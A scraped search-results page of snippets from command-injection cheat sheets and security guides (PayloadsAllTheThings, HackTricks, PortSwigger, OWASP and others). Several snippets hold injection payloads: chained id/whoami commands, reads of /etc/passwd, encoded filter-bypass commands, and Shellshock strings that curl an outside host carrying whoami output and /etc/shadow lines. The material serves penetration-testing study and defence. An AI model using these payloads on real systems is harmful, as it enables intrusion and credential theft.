🌐
Amazon S3
0xn3va.gitbook.io › cheat-sheets › web-application › command-injection
Command Injection | Application Security Cheat Sheet - GitBook
For instance, you can use IFS variable ... you can override IFS and use any character as a separator: ... $ LD_PRELOAD=./inject.so git -v [+] Inject.so Loaded!...
🌐
GitHub
github.com › swisskyrepo › PayloadsAllTheThings › tree › master › Command Injection
PayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThings
This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.
Author   swisskyrepo
🌐
Gitbook
gabb4r.gitbook.io › oscp-notes › cheatsheet › command-injection-cheatsheet
Command injection Cheatsheet | OSCP Notes
September 29, 2021 - ` || | ; ' '" " "' & && cat /etc/passwd id id id ping -i 30 127.0.0.1 /usr/bin/id /usr/bin/id %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1 {${phpinfo()}} {${sleep(20)}} {${sleep(3)}} a|id| a;id| a;id; a;id\n () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=16?user=\`whoami\`" () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`" () { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`" () { :;}; /bin/bash -c "
🌐
Cobalt
cobalt.io › blog › a-pentesters-guide-to-command-injection
A Pentester’s Guide to Command Injection | Cobalt
November 21, 2025 - -------------------------------------------------------------------- Special Characters & ; Newline (0x0a or \n) && | || command ` $(command ) -------------------------------------------------------------------- Useful Commands: Linux whoami ifconfig ls uname -a -------------------------------------------------------------------- Useful Commands: Windows whoami ipconfig dir ver -------------------------------------------------------------------- Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id ls|id; ls |id; ls| id; ls | id ls&&id; ls &&id; ls&& id; ls && id ls&id; ls &id; ls
🌐
HackTricks
book.hacktricks.xyz › home › pentesting web › command injection
Command Injection - HackTricks
Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands. #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls id # Execute both (RECOMMENDED) ls bash -c "id" # (Combining new lines and tabs) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command
🌐
GitHub
gist.github.com › pr0fg › 20b3555b462e032087a9a50301e5c983
Unix Command Injection Cheat Sheet · GitHub
Unix Command Injection Cheat Sheet · Raw · command_injection_unix.list · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
🌐
Scribd
scribd.com › document › 645710099 › command-injection-cheatsheet
Command Injection Filter Bypass Guide | PDF | Character Encoding | Computer Programming
| Code | Description | | ----- | ----- | | **Character Insertion** | | `'` or `"` | Total must be even | | `$@` or `\` | Linux only | | **Case Manipulation** | | `$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")` | Execute command regardless of cases | | `$(a="WhOaMi";printf %s "${a,,}")` | Another variation of the technique | | **Reversed Commands** | | `echo 'whoami' \| rev` | Reverse a string | | `$(rev<<<'imaohw')` | Execute reversed command | | **Encoded Commands** | | `echo -n 'cat /etc/passwd \| grep 33' \| base64` | Encode a string with base64 | | `bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)` | Execute b64 encoded string |
🌐
PortSwigger
portswigger.net › web-security › os-command-injection
What is OS command injection, and how to prevent it? | Web Security Academy
The echo command causes the supplied string to be echoed in the output. This is a useful way to test for some types of OS command injection. The & character is a shell command separator.
🌐
Hackviser
hackviser.com › command injection
Command Injection Attack Guide | Hackviser
# URL encoded newlines command1 command2 # represents \n ping id # Executes ping, then id on new line whoami ls # Runs whoami, then ls # Carriage return injection command1 command2 # represents \r echo test cat /etc/passwd # Potentially bypasses filters
Find elsewhere
🌐
GitHub
github.com › swisskyrepo › PayloadsAllTheThings › blob › master › Command Injection › README.md
PayloadsAllTheThings/Command Injection/README.md at master · swisskyrepo/PayloadsAllTheThings
This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.
Author   swisskyrepo
🌐
Wisc
research.cs.wisc.edu › mist › SoftwareSecurityCourse › Chapters › 3_8_2-Command-Injections.pdf pdf
Introduction to Software Security Chapter 3.8.2: Command Injections
requires a very detailed understanding of shell command syntax and then writing program logic that · protects against all the potential unintended consequences. © 2018 Loren Kohnfelder, Elisa Heymann, Barton P. Miller. All rights reserved. ... Note that these vulnerabilities are not attacks on the shell, but rather are attacks that create malicious ... Use of (Linux) popen, or system. ... Programmatic execution of a shell such as sh, or tcsh, or bash. ... Argument injections (use of exec), allowing arguments to begin with "-" can be dangerous.
🌐
Medium
medium.com › @hninja049 › command-injection-bypass-cheatsheet-4414e1c22c99
Command Injection Bypass Cheatsheet | by Ninja Hatori | Medium
December 10, 2021 - Command Injection is a format string vulnerability that occurs when user input that is not filtered is then passed to the system shell (system (), exec (), etc.). An attacker can exploit this…
🌐
Security Journey
securityjourney.com › post › owasp-top-10-mini-series-command-injection
OWASP Top 10 Mini Series - Command Injection Cheat Sheet
September 16, 2024 - OWASP Top 10 Mini Series - Command Injection Cheat Sheet · Published on December 27, 2019 · Command injection is similar to SQL injection, but instead of injecting into a SQL query, you are injecting a command into the Operating System.
🌐
OWASP Foundation
owasp.org › www-community › attacks › Command_Injection
Command Injection | OWASP Foundation
The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard output. It is also injectable:
🌐
Fastly
fastly.com › blog › back-to-basics-os-command-injection
Back to Basics: OS Command Injection | Fastly
September 26, 2025 - However, the beginning of the payload is what demonstrates that it is actually Command Injection. The semicolon ends the current bash command, ping, before the PHP command is executed. php -r will execute the following PHP on the command line, which in this case is a reverse shell back to the attacker’s IP address.
🌐
Pentestmonkey
pentestmonkey.net › tag › cheatsheet
cheatsheet | pentestmonkey
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding […] Shells bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm, Comments Off on Reverse Shell Cheat Sheet
🌐
Techbrunch
techbrunch.github.io › patt-mkdocs › Command Injection
Command Injection - Payloads All The Things
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" /etc/passwd swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764 /etc/passwd swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764) /etc/passwd swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)` root:x:0:0:root:/root:/bin/bash · Commands execution without backslash and slash - linux bash